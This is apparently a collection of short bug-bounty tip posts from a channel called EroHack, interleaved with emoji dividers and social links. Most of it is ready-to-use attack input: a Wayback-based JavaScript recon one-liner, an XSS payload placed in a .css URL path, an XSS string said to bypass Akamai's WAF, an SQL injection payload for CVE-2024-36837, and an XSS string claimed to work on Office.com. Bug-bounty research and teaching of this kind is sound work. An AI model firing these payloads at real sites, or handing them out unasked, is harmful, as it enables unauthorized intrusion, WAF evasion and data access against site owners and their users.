LazyEgg - Hunting JS Files ⭐️

waybackurls target | grep '\.js$' | awk -F '?' '{print $1}' | sort -u | xargs -I{} bash -c 'echo -e "\ntarget : {}\n" && python lazyegg[.]py "{}" --js_urls --domains --ips'

#BugBounty #Tips
🔹🔺🔹🔺🔹🔺🔹🔺🔹
⭐Erohack
💧Boost
🐦Twitter

😈Google Bug Bounty Dorks Generator

🌎 Site

#BugBounty #Tips
🚫🚫🚫🚫🚫🚫🚫🚫🚫🚫
🌐EroHack
👍Boost
🖥Twitter

⭐️𝗫𝗦𝗦 𝗶𝗻 𝘁𝗵𝗲 .𝗰𝘀𝘀 𝗨𝗥𝗟 𝗽𝗮𝘁𝗵

𝗢𝗿𝗶𝗴𝗶𝗻𝗮𝗹 𝗨𝗥𝗟:

"target/lib/css/animated.min.css"

𝗫𝗦𝗦 𝗙𝗼𝘂𝗻𝗱 𝗶𝗻:

"/lib/css/animated.min'"/><script%20>alert(document.domain)<%2fscript>.css"

#BugBounty #Tips
🚫🚫🚫🚫🚫🚫🚫🚫🚫🚫
🌐EroHack
👍Boost
🖥Twitter

🔥WAF AKAMAI Bypass 
Lead to 30 XSS in large BBP

"><input type="hidden" oncontentvisibilityautostatechange="confirm(/Bypassed/)" style="content-visibility:auto">

#BugBounty #Tips #Waf
🔸🔸🔸🔸🔸🔸🔸🔸🔸🔸
🌐EroHack
👍Boost
🖥Twitter

😠SQLI Injection
CVE: 2024-36837

💻Payload: 0-3661)%20OR%20MAKE_SET(8165=8165,7677)%20AND%20(4334=4334 

#BugBounty #Tips
🚫🚫🚫🚫🚫🚫🚫🚫🚫🚫
🌐EroHack
👍Boost
🖥Twitter

😀XSS in Office.com. The + made a difference.

Payload:‍‍‍

`'>+<script>alert()</script>`

#BugBounty #Tips #XSS
⚙⚙⚙⚙⚙⚙⚙⚙⚙
🌐EroHack
👍Boost
🖥Twitter